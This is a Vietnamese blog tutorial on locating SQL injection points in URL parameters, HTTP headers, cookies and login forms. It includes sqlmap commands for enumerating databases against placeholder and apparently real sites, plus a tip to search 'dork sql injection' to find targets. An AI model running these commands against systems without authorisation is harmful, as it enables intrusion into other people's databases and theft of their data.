SQL Injection Attack part 2:
NƠI MÀ BẠN QUYẾT ĐỊNH ĐỂ XÂM NHẬP LÀ…?
Trong phần này, mình sẽ chỉ tập trung vào việc “Identifying injectable parameters” (nghĩa là: Xác định tham số có thể chèn SQL Injection) từ cơ bản đến hơi hơi nâng cao.
1.URL
2. HTTP Header
3. Cookie
4. Forms (HTTP body)
1.URL
Phân tích: Đây là website có CMS là Joomla (chúng ta sẽ ưu tiên những tham số có giá trị dạng number, ở đây ta có id=12)
?option=com_content <———- có thể ở đây bị lỗ hổng chăng?
&view=category <———- có thể ở đây bị lỗ hổng chăng?
&layout=blog <———- có thể ở đây bị lỗ hổng chăng?
&id=12 <———- có thể ở đây bị lỗ hổng chăng?
Sau khi mình thêm ký tự ‘ vào sau id=12 thì xuất hiện:
Warning: Invalid argument supplied for yyy() in /var/www/xxxxxxxxxxxxx/galery.php on line22
Dòng chữ có màu này là thông tin đã bị thay đổi để bảo đảm an toàn cho server
Vậy ta chắc chắc một điều rằng: parameter id là nơi có thể chèn lệnh SQL vào. Nếu bạn không chuyên nghiệp hay mù tịt về SQL Query thì dùng SQLMAP nào.
(Mánh: các parameter thường thấy trong việc khai thác là id cid gid videoid viewid v.v… (vì những tham số này sẽ là các truy vấn vào database) hoặc các bạn google với keyword : dork sql injection)
sqlmap.py -u “http://victim.com.vn/index.php?option=com_content&view=category&layout=blog&id=12″ -p id -v 3 –dbs
-p id | là chỉ rõ ra paremeter có thể tấn công
-v 3 | hiện thông tin truy vấn ra màn hình
–dbs | dò tìm những database trên server
Khi khai thác thành công, kết quả có dạng như hình sau
2.HTTP Header
Ở phần này, chúng ta sẽ cần đi sâu hơn vào giao thức HTTP. Để thấy những thông tin mình sắp giới thiệu bên dưới, Các bạn nên dùng Wireshark để bắt gói tin.
GET / HTTP/1.1
Connection: Keep-Alive
Keep-Alive: 300
Accept:*/*
Host: http://www.minhtamnw.com
X_FORWARDED_FOR :111.222.333.444 <——— Có thể chèn SQL Injection ở đây
Referer: http://www.minhtamnw.com/index.php <——— Có thể chèn SQL Injection ở đây
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E) <——— Có thể chèn SQL Injection ở đây
Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134 <——— Có thể chèn SQL Injection ở đây (chúng ta sẽ bàn luận ở phần sau)
Connection: Keep-Alive
Keep-Alive: 300
Accept:*/*
Host: http://www.minhtamnw.com
X_FORWARDED_FOR :111.222.333.444 <——— Có thể chèn SQL Injection ở đây
Referer: http://www.minhtamnw.com/index.php <——— Có thể chèn SQL Injection ở đây
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E) <——— Có thể chèn SQL Injection ở đây
Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134 <——— Có thể chèn SQL Injection ở đây (chúng ta sẽ bàn luận ở phần sau)
3. Cookie
Bạn có bao giờ đăng nhập vào một website nào đó | tắt modem | mở lại modem (IP Public đã thay đổi)| Khi có mạng trở lại, bạn vẫn vào website đó mà không cần gõ user/password để đăng nhập nữa.
Chính cookie đã lưu thông tin về phiên làm việc của bạn tại máy tính cá nhân.| Đây là một trong các ứng dụng của cookie trong giao thức HTTP. Trong bài viết này, tôi không bàn nhiều về cookie là gì, mà chúng ta sẽ chuyển qua giai đoạn khai thác.
sqlmap.py -u “http://quantrimang.com.vn” –cookie=ASP.NET_SessionId=gxrxx4ejl202n2viyvebbx45 –p ASP.NET_SessionId –level 3 -v 4
Ngoài ra, các bạn có thể dùng add-on Live HTTP headers dùng trên Firefox để carpture các header của gói tin.
4.FORMS (HTTP BODY)
một trang web có thể có rất nhìu form bao gồm thấy được và không thấy được và chúng ta sẽ chèn những truy vấn vào những ô này.
một vài thông tin: giao thức HTTP khi gởi dữ liệu từ phía client lên server sẽ dùng phương thức POST. Vì vậy trước khi tấn công loại này, chúng ta cần biết một trang web sẽ gởi đi những gì sau khi chúng ta nhấn nút “Đăng nhập”. Chúng ta vẫn sẽ dùng Live HTTP headers để phân tích
Với dạng này, ta sẽ dùng sqlmap khai thác như sau:
sqlmap.py -u “http://www.victim.com.vn/index.php” –data “user_id=injectionhere&password=injectionhere&button=%C4%90%C4%83ng+nh%E1%BA%ADp”-p user_id,password –level 3 -v 3 –dbs
tham số –data “dữ liệu vào” : tại đây chúng ta chỉ định dữ liệu và phụ thuộc vào tên của form, ví dụ ta có form user_id và password thì cả 2 phải được điền vào như là một gói tin đầy đủ,(tránh bị server reject do không đủ dữ liệu)
-p user_id,password : tiến hành kiểm tra trên 2 tham số chỉ định
chúc các bạn thành công
Không có nhận xét nào:
Đăng nhận xét